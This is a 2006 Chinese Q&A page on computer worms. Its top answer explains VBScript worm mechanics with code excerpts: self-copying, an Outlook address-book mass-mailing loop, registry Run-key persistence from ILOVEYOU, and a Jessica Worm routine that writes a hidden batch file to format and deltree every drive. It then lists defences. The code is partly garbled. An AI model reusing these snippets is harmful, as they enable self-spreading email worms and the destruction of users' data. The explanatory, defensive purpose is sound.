爱问知识人 爱问教育 医院库

请问蠕虫病毒多在什么地方?

首页

请问蠕虫病毒多在什么地方?

蠕虫病毒多在电脑的那些地方?它是怎样扩散的?如何撤底删除它?

提交回答
好评回答
  • 2006-12-30 10:09:34
      实例解析蠕虫病毒的原理,蠕虫病毒的原理,病毒防治
    如今对大家的电脑威胁最大的就属网络蠕虫病毒了!网络蠕虫病毒的危害之大简直令人吃惊,从大名鼎鼎的“爱虫”到“欢乐时光”,再到“红色代码”,其破坏力越来越强,因此我们有必要了解网络蠕虫病毒。 小虫网络技术 
      蠕虫病毒与一般的计算机病毒不同,它不采用将自身拷贝附加到其他程序中的方式来复制自己,所以在病毒中它也算是一个“另类”。
      蠕虫病毒的破坏性很强,部分蠕虫病毒不仅可以在因特网上兴风作浪,局域网也成了它们“施展身手”的舞台――蠕虫病毒可以潜伏在基于客户机/服务机模式的局域网的服务机上的软件内,当客户机访问服务机,并对有毒的软件实施下载后,病毒就神不知、鬼不觉地从服务机上“拷贝”到客户机上了。
         其实脚本病毒是很容易制造的,它们都利用了视窗系统的开放性的特点。特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能。以VB脚本病毒(如欢乐时光、 I Love You 、库尔尼科娃病毒、Homepage病毒等)为例,他们都是把。
      vbs脚本文件添在附件中,最后使用*。htm。vbs等欺骗性的文件名。下面我们详细了解一下蠕虫病毒的几大特性,从中找到对付蠕虫病毒的方法。   一、蠕虫病毒具有自我复制能力   我们以普通的VB脚本为例来看看: Set objFs=CreateObject (“Scripting。
      FileSystemObject”) '创建一个文件系统对象 objFs。CreateTextFile ("C:virus。txt", 1) '通过文件系统对象的方法创建了一个TXT文件。   如果我们把这两句话保存成为。vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。
      倘若我们把第二句改为: objFs。GetFile (WScript。ScriptFullName)。Copy ("C:virus。vbs")   就可以将自身复制到C盘virus。vbs这个文件。本句前面是打开这个脚本文件,WScript。
      ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus。vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征――自我复制能力。
           二、蠕虫病毒具有很强的传播性   病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。
      看看如下的代码: Set objOA=Wscript。CreateObject ("Outlook。Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA。GetNameSpace ("MAPI") '取得MAPI名字空间 For i=1 to objMapi。
      AddressLists。Count '遍历地址簿 Set objAddList=objMapi。AddressLists (i) For j=1 To objAddList。 AddressEntries。Count Set objMail=objOA。
      CreateItem (0) objMail。Recipients。Add (objAddList。 AddressEntries (j)) '取得收件人邮件地址 objMail。Subject="你好!" '设置邮件主题 objMail。
      Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail。Attachments。Add (“c:virus。vbs") '把自己作为附件扩散出去 objMail。Send '发送邮件 Next Next Set objMapi=Nothing '清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing '清空objOA变量   这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。
      这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。   三、蠕虫病毒具有一定的潜伏性   要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。
      从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码: On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript。
      Shell") '击活 WScript。Shell 对象 rr=wscr。RegRead ("HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout") '读入注册表中的超时键值 if (rr>=1) then '超时设置 wscr。
      RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD" end if   上面这部分代码很明显是调整脚本语言的超时设置。
      下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本: regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion RunMSKernel32",dirsystem&"MSKernel32。
      vbs" regcreate "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion RunServicesWin32DLL",dirwin&"Win32DLL。vbs"   其中MSKernel32。
      vbs和Win32DLL。vbs是病毒脚本的一个副本。怎么样,看出蠕虫病毒是怎样潜伏的吧? 四、蠕虫病毒具有特定的触发性   在这里我们以时间触发为例,使用一个很简单的判断程序,来判断时间到了没有,如果有就开始执行代码。好,我们看看程序: x=time () if x=xx。
      xx。xx then ………… end if   就这么简单一个程序,就可以实现特定条件触发事件的目的。当然了,病毒制作者还可以通过监视运行某个程序而触发事件,也可以响应键盘触发事件等等。   五、蠕虫病毒具有很大的破坏性   蠕虫病毒的破坏性大家都有所了解吧?我们以著名的蠕虫病毒Jessica Worm中的部分破坏代码为例来加以分析说明: sub killc () '破坏硬盘的过程 On Error Resume Next '容错语句,避免程序崩溃 dim fs,auto,disc,ds,ss,i,x,dir Set fs = CreateObject ("Scripting。
      FileSystemObject") Set auto = fs。CreateTextFile ("c: t", True) '建立或修改自动批处理 auto。WriteLine ("@echo off") '屏蔽掉删除的进程 auto。
      WriteLine ("Smartdrv") '加载磁盘缓冲,好毒啊! Set disc = fs。Drives '得到驱动器的集合 For Each ds in disc If ds。DriveType = 2 Then '如果驱动器是本地盘 ss = ss & ds。
      DriveLetter '就将符号连在一起 End if Next ss=LCase (StrReverse (Trim (ss))) '得到符号串的反向小写形式 For i=1 to Len (ss) '遍历每个驱动器 x=Mid (ss,i,1) '读每个驱动器的符号 auto。
      WriteLine ("format/autotest/q/u "&x&":") '反向 (从Z:到A:)自动格式化驱动器,狠毒啊! next For i=1 to Len (ss) x=Mid (ss,i,1) auto。
      WriteLine ("deltree/y "&x&":") '怕Format失效用Deltree双保险,知道厉害了吧 next auto。Close '关闭批处理文件 set dir=fs。GetFile ("c: t") tributes= tributes+2 '将自动批处理文件改为隐藏 End sub   如果以前你没有亲身体验到蠕虫病毒的厉害,那么从这个小例子中,你应该知道蠕虫病毒的厉害了吧?   六、反击蠕虫病毒   我们已经了解网络蠕虫病毒的构造,现在可以逐个击破网络蠕虫病毒几大功能模块。
      使网络蠕虫病毒不能这么横行无忌的破坏我们的电脑及盗窃我们的资料。   1。首先我们应该先看看如何破解病毒的破坏力最强的功能模块――病毒的破坏性。   网络蠕虫病毒不可能像传统病毒一样调用汇编程序来实现破坏功能。它只能通过调用已经编译好的带有破坏性的程序来实现这一功能。
      那么我们就把本地的带有破坏性的程序改名字,比如把 改成 ,那样病毒的编辑者就无发实现用调用本地命令来实现这一功能。(这方法简单易行并不影响电脑的正常使用,但也有其不足的地方,我们会在下文中会对其不足进行说明。)   2。我们再看看如何破解病毒的潜伏性及触发性功能模块。
         它是通过死循环语句完成的,且一开机就运行这程序,等待触发条件。用Ctrl+Alt+Del弹出关闭程序对话框方可看见一个叫Wscript。exe的程序在后台运行(那样的程序不一定是病毒,但病毒也常常伪装成那样的程序),我们为了防止病毒对我们的机算机进行破坏,我们不得不限制这类程序的运行时间(宁可错杀一千,也不可放过一个),以达到控制的效果。
      首先在“开始”菜单的“运行”里输入“Wscript”,然后会弹出一个窗体。单击“经过以下数秒终止脚本”前面的复选框,使复选框前面打起钩,然后调整下方的时间设为最小值即可。这样可以破解一部分这样的病毒的潜伏,消除潜伏性自然触发性就破解了。   另外,由于蠕虫病毒大多是用VBScript脚本语言编写的,而VBScript代码是通过Windows Script Host来解释执行的,因此将Windows Script Host删除,就再也不用担心这些用VBS和JS编写的病毒了!从另一个角度来说,Windows Script Host本来是被系统管理员用来配置桌面环境和系统服务,实现最小化管理的一个手段,但对于大部分一般用户而言,WSH并没有多大用处,所以我们可以禁止Windows Script Host。
         卸载Windows Scripting Host:   在Windows98中(NT4。0以上同理),打开“控制面板”,打开“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“Windows Scripting Host”一项的“对勾”去掉,然后点“确定”,再点“确定”,这样就可以将Windows Scripting Host卸载。
         如果你嫌麻烦,可以到Windows目录中,找到WScript。exe和JScript。exe,更改其名称或者干脆删除。   3。接下来就该破解病毒的自我复制能力功能模块。   大多数利用VBscript编写的病毒,自我复制的原理基本上是利用程序将本身的脚本内容复制一份到一个临时文件,然后再在传播的环节将其作为附件发送出去。
      而该功能的实现离不开“FileSystemObject”对象,因此禁止了“FileSystemObject”就可以有效的控制VBS病毒的传播。具体操作方法:用regsvr32 scrrun。dll /u这条命令就可以禁止文件系统对象。   4。
      破解完了以上四个功能模块,自然第五个功能模块传播性就不攻自破了。你还记不记得以上我们所说过的破解功能模块的不足,虽然限制别人不能调用你的带有破坏性的程序,但你也别忘了,别人可以用网页拷贝的方式放入你的计算机中,再通过以上方法对你的计算机进行危害。
      要彻底防治网络蠕虫病毒,还须设置一下你的浏览器。方法是:在IE窗口中点击“工具→Internet选项,在弹出的对话框中选择“安全”标签,再点击“自定义级别”按钮,就会弹出“安全设置”对话框,把其中所有ActiveX插件和控件以及Java相关全部选择“禁用”即可。
      不过,这样做在以后的网页浏览过程中可能会造成一┱J褂肁ctiveX的网站无法浏览。有利就有弊,您还是自己看着办吧。   只要用了以上的方法就可以有效地防范蠕虫病毒,现在,你不会认为蠕虫病毒可怕了,至少,对蠕虫病毒的神秘感打消了吧?如是,则达到了我们的目的! 。
      

    j***

    2006-12-30 10:09:34

其他答案

    2006-12-30 10:07:51
  • 用木马杀客2007的,杀毒能力提高N倍,杀毒效果棒得没话说,试了才知道是多么的美好。
      最近需要引起注意的互联网蠕虫病毒有:MTX、Hybris、Bymer、Sonic、XTC。虽然以前的蠕虫病毒和特洛伊木马病毒也能连接互联网,但这些新的病毒似乎隔几周就会出现一种,估计它们会象FBI警告的那样在圣诞期间攻击一些著名的网站
    

    b***

    2006-12-30 10:07:51

  • 2006-12-30 10:02:48
  •       蠕虫(WORM)病毒是通过分布式网络来扩散特定的信息或错误的,进而造成网络服务器遭到拒绝并发生死锁。
      “蠕虫”病毒由两部分组成:一个主程序和另一个是引导程序。主程序一旦在计算机中得到建立,就可以去收集与当前机器联网的其他机器的信息,它能通过读取公共配置文件并检测当前机器的联网状态信息,尝试利用系统的缺陷在远程机器上建立引导程序。
      就是这个一般被称作是引导程序或类似于“钓鱼”的小程序,把“蠕虫”病毒带入了它所感染的每一台机器中。   “蠕虫”病毒程序能够常驻于一台或多台机器中,并有自动重新定位(autorelocation)的能力。假如它能够检测到网络中的某台机器没有被占用,它就把自身的一个拷贝(一个程序段)发送到那台机器。
      每个程序段都能把自身的拷贝重新定位于另一台机器上,并且能够识别出它自己所占用的哪台机器。   计算机网络系统的建立是为了使多台计算机能够共享数据资料和外部资源,然而也给计算机蠕虫病毒带来了更为有利的生存和传播的环境。   在网络环境下,蠕虫病毒可以按指数增长模式进行传染。
      蠕虫病毒侵入计算机网络,可以导致计算机网络效率急剧下降、系统资源遭到严重破坏,短时间内造成网络系统的瘫痪。因此网络环境下蠕虫病毒防治必将成为计算机防毒领域的研究重点。 在网络环境中,蠕虫病毒具有一些新的特性: (1)传染方式多   蠕虫病毒入侵网络的主要途径是通过工作站传播到服务器硬盘中,再由服务器的共享目录传播到其他的工作站。
      但蠕虫病毒的传染方式比较复杂。 (2)传播速度快   在单机上,病毒只能通过软盘从一台计算机传染到另一台计算机,而在网络中则可以通过网络通信机制,借助高速电缆进行迅速扩散。   由于蠕虫病毒在网络中传染速度非常快,使其扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将蠕虫病毒在一瞬间传播到千里之外。
       (3)清除难度大   在单机中,再顽固的病毒也可通过删除带毒文件、低级格式化硬盘等措施将病毒清除,而网络中只要有一台工作站未能杀毒干净就可使整个网络重新全部被病毒感染,甚至刚刚完成杀毒工作的一台工作站马上就能被网上另一台工作站的带毒程序所传染,因此,仅对工作站进行病毒杀除不能彻底解决网络蠕虫病毒的问题。
       (4)破坏性强   网络中蠕虫病毒将直接影响网络的工作状态,轻则降低速度,影响工作效率,重则造成网络系统的瘫痪,破坏服务器系统资源,使多年的工作毁于一旦。 。

    三***

    2006-12-30 10:02:48

类似问题

换一换
  • 软件 相关知识

  • 电脑网络技术
  • 电脑网络

相关推荐

正在加载...
最新问答 推荐信息 热门专题 热点推荐
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200

热点检索

  • 1-20
  • 21-40
  • 41-60
  • 61-80
  • 81-100
  • 101-120
  • 121-140
  • 141-160
  • 161-180
  • 181-200
返回
顶部
帮助 意见
反馈

确定举报此问题

举报原因(必选):